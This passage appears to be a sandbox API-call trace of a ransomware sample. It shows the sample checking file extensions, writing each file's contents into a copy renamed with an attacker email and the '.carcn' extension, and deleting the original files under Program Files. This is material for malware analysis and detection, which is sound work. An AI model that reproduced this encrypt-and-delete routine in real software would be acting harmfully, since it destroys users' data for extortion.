(lpString1=".dbf", lpString2=".mui") returned -1 [0297.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui") returned 59 [0297.954] lstrlenW (lpString=".1cd") returned 4 [0297.954] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0297.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui") returned 59 [0297.954] lstrlenW (lpString=".jpg") returned 4 [0297.954] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0297.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui") returned 59 [0297.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui") returned 59 [0297.955] lstrlenW (lpString=".doc") returned 4 [0297.955] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0297.955] lstrlenW (lpString=".docx") returned 5 [0297.955] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0297.955] lstrlenW (lpString=".pdf") returned 4 [0297.955] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0297.955] lstrlenW (lpString=".xls") returned 4 [0297.955] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0297.955] lstrlenW (lpString=".xlsx") returned 5 [0297.955] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0297.955] lstrlenW (lpString=".ppt") returned 4 [0297.955] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0297.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui") returned 59 [0297.955] lstrlenW (lpString=".zip") returned 4 [0297.955] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0297.955] lstrlenW (lpString=".rar") returned 4 [0297.955] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0297.955] lstrlenW (lpString=".bz2") returned 4 [0297.955] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0297.955] lstrlenW (lpString=".7z") returned 3 [0297.955] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0297.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui") returned 59 [0297.955] lstrlenW (lpString=".dbf") returned 4 [0297.955] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0297.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui") returned 59 [0297.955] lstrlenW (lpString=".1cd") returned 4 [0297.955] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0297.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui") returned 59 [0297.956] lstrlenW (lpString=".jpg") returned 4 [0297.956] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0297.956] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0297.956] lstrlenW (lpString="msadcer.dll.mui") returned 15 [0297.956] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0297.956] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=10240) returned 1 [0297.956] CloseHandle (hObject=0x350) returned 1 [0297.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui")) returned 0x20 [0297.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.957] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0297.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui") returned 64 [0297.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui") returned 64 [0297.957] lstrlenW (lpString=".doc") returned 4 [0297.957] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0297.957] lstrlenW (lpString=".docx") returned 5 [0297.957] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0297.957] lstrlenW (lpString=".pdf") returned 4 [0297.957] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0297.957] lstrlenW (lpString=".xls") returned 4 [0297.957] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0297.957] lstrlenW (lpString=".xlsx") returned 5 [0297.957] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0297.957] lstrlenW (lpString=".ppt") returned 4 [0297.957] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0297.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui") returned 64 [0297.957] lstrlenW (lpString=".zip") returned 4 [0297.957] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0297.957] lstrlenW (lpString=".rar") returned 4 [0297.958] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0297.958] lstrlenW (lpString=".bz2") returned 4 [0297.958] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0297.958] lstrlenW (lpString=".7z") returned 3 [0297.958] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0297.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui") returned 64 [0297.958] lstrlenW (lpString=".dbf") returned 4 [0297.958] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0299.647] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.647] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.647] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0299.648] GetLastError () returned 0x0 [0299.648] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0xffff0, lpOverlapped=0x0) returned 1 [0299.708] WriteFile (in: hFile=0x350, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xffff0, lpOverlapped=0x0) returned 1 [0300.820] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x1a650, lpOverlapped=0x0) returned 1 [0300.830] WriteFile (in: hFile=0x350, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x1a660, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x1a660, lpOverlapped=0x0) returned 1 [0300.834] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0300.834] WriteFile (in: hFile=0x350, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xf6, lpOverlapped=0x0) returned 1 [0300.834] SetEndOfFile (hFile=0x350) returned 1 [0300.835] CloseHandle (hObject=0x350) returned 1 [0300.835] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.835] SetEndOfFile (hFile=0x390) returned 1 [0300.836] CloseHandle (hObject=0x390) returned 1 [0300.836] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0300.836] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll")) returned 1 [0300.837] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0300.837] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0300.837] lstrlenW (lpString=".doc") returned 4 [0300.837] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0300.837] lstrlenW (lpString=".docx") returned 5 [0300.837] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0300.837] lstrlenW (lpString=".pdf") returned 4 [0300.837] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0300.837] lstrlenW (lpString=".xls") returned 4 [0300.837] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0300.837] lstrlenW (lpString=".xlsx") returned 5 [0300.837] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0300.837] lstrlenW (lpString=".ppt") returned 4 [0300.837] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0300.837] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0300.837] lstrlenW (lpString=".zip") returned 4 [0300.837] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0300.837] lstrlenW (lpString=".rar") returned 4 [0300.837] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0300.837] lstrlenW (lpString=".bz2") returned 4 [0300.837] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0300.837] lstrlenW (lpString=".7z") returned 3 [0300.838] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0300.838] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0300.838] lstrlenW (lpString=".dbf") returned 4 [0300.838] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0300.838] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0300.838] lstrlenW (lpString=".1cd") returned 4 [0300.838] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0300.838] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0300.838] lstrlenW (lpString=".jpg") returned 4 [0300.838] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0300.838] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0300.838] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0300.838] lstrlenW (lpString=".doc") returned 4 [0300.838] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0300.838] lstrlenW (lpString=".docx") returned 5 [0300.838] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0300.838] lstrlenW (lpString=".pdf") returned 4 [0300.838] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0300.838] lstrlenW (lpString=".xls") returned 4 [0300.838] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0300.838] lstrlenW (lpString=".xlsx") returned 5 [0300.838] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0300.838] lstrlenW (lpString=".ppt") returned 4 [0300.838] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0300.838] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0300.838] lstrlenW (lpString=".zip") returned 4 [0300.838] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0300.838] lstrlenW (lpString=".rar") returned 4 [0300.838] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0300.838] lstrlenW (lpString=".bz2") returned 4 [0300.838] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0300.838] lstrlenW (lpString=".7z") returned 3 [0300.838] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0300.839] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0300.839] lstrlenW (lpString=".dbf") returned 4 [0300.839] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0300.839] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0300.839] lstrlenW (lpString=".1cd") returned 4 [0300.839] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0300.839] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0300.839] lstrlenW (lpString=".jpg") returned 4 [0300.839] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0300.839] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0300.839] lstrlenW (lpString="JAWTAccessBridge-64.dll") returned 23 [0300.839] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0300.839] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=15424) returned 1 [0300.839] CloseHandle (hObject=0x390) returned 1 [0300.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll")) returned 0x20 [0300.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.840] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0300.840] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.840] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.840] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0300.840] GetLastError () returned 0x0 [0300.840] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x3c40, lpOverlapped=0x0) returned 1 [0300.844] WriteFile (in: hFile=0x350, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x3c50, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x3c50, lpOverlapped=0x0) returned 1 [0300.845] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0300.845] WriteFile (in: hFile=0x350, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x102, lpOverlapped=0x0) returned 1 [0300.846] SetEndOfFile (hFile=0x350) returned 1 [0300.846] CloseHandle (hObject=0x350) returned 1 [0300.846] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.846] SetEndOfFile (hFile=0x390) returned 1 [0300.847] CloseHandle (hObject=0x390) returned 1 [0300.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0300.847] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll")) returned 1 [0300.848] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0300.848] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0300.848] lstrlenW (lpString=".doc") returned 4 [0300.848] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0300.848] lstrlenW (lpString=".docx") returned 5 [0300.848] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0300.848] lstrlenW (lpString=".pdf") returned 4 [0300.848] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0300.848] lstrlenW (lpString=".xls") returned 4 [0300.848] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0300.848] lstrlenW (lpString=".xlsx") returned 5 [0300.848] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0300.848] lstrlenW (lpString=".ppt") returned 4 [0300.848] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0300.848] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0300.848] lstrlenW (lpString=".zip") returned 4 [0300.848] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0300.848] lstrlenW (lpString=".rar") returned 4 [0300.848] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0300.848] lstrlenW (lpString=".bz2") returned 4 [0300.848] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0300.848] lstrlenW (lpString=".7z") returned 3 [0300.848] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0300.848] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0300.848] lstrlenW (lpString=".dbf") returned 4 [0300.848] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0300.848] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0300.848] lstrlenW (lpString=".1cd") returned 4 [0300.848] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0300.848] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0300.849] lstrlenW (lpString=".jpg") returned 4 [0300.849] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0300.849] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0300.849] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0300.849] lstrlenW (lpString=".doc") returned 4 [0300.849] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0300.849] lstrlenW (lpString=".docx") returned 5 [0300.849] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0300.849] lstrlenW (lpString=".pdf") returned 4 [0300.849] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0300.849] lstrlenW (lpString=".xls") returned 4 [0300.849] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0300.849] lstrlenW (lpString=".xlsx") returned 5 [0300.849] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0300.849] lstrlenW (lpString=".ppt") returned 4 [0300.849] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0300.849] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0300.849] lstrlenW (lpString=".zip") returned 4 [0300.849] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0300.849] lstrlenW (lpString=".rar") returned 4 [0300.849] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0300.849] lstrlenW (lpString=".bz2") returned 4 [0300.849] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0300.849] lstrlenW (lpString=".7z") returned 3 [0300.849] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0300.849] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0300.849] lstrlenW (lpString=".dbf") returned 4 [0300.849] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0300.849] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0300.850] lstrlenW (lpString=".1cd") returned 4 [0300.850] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0300.850] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0300.850] lstrlenW (lpString=".jpg") returned 4 [0300.850] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0300.850] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0300.850] lstrlenW (lpString="jdwp.dll") returned 8 [0300.850] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0300.851] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=201792) returned 1 [0300.851] CloseHandle (hObject=0x390) returned 1 [0300.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll")) returned 0x20 [0300.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.852] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0300.852] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.852] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.852] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0300.852] GetLastError () returned 0x0 [0300.852] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x31440, lpOverlapped=0x0) returned 1 [0300.892] WriteFile (in: hFile=0x350, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x31450, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x31450, lpOverlapped=0x0) returned 1 [0300.896] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0300.896] WriteFile (in: hFile=0x350, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xe4, lpOverlapped=0x0) returned 1 [0300.896] SetEndOfFile (hFile=0x350) returned 1 [0300.897] CloseHandle (hObject=0x350) returned 1 [0300.897] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.897] SetEndOfFile (hFile=0x390) returned 1 [0300.899] CloseHandle (hObject=0x390) returned 1 [0300.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0300.899] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll")) returned 1 [0300.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0300.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0300.899] lstrlenW (lpString=".doc") returned 4 [0300.899] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0300.899] lstrlenW (lpString=".docx") returned 5 [0300.899] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0300.899] lstrlenW (lpString=".pdf") returned 4 [0300.899] lstrcmpiW 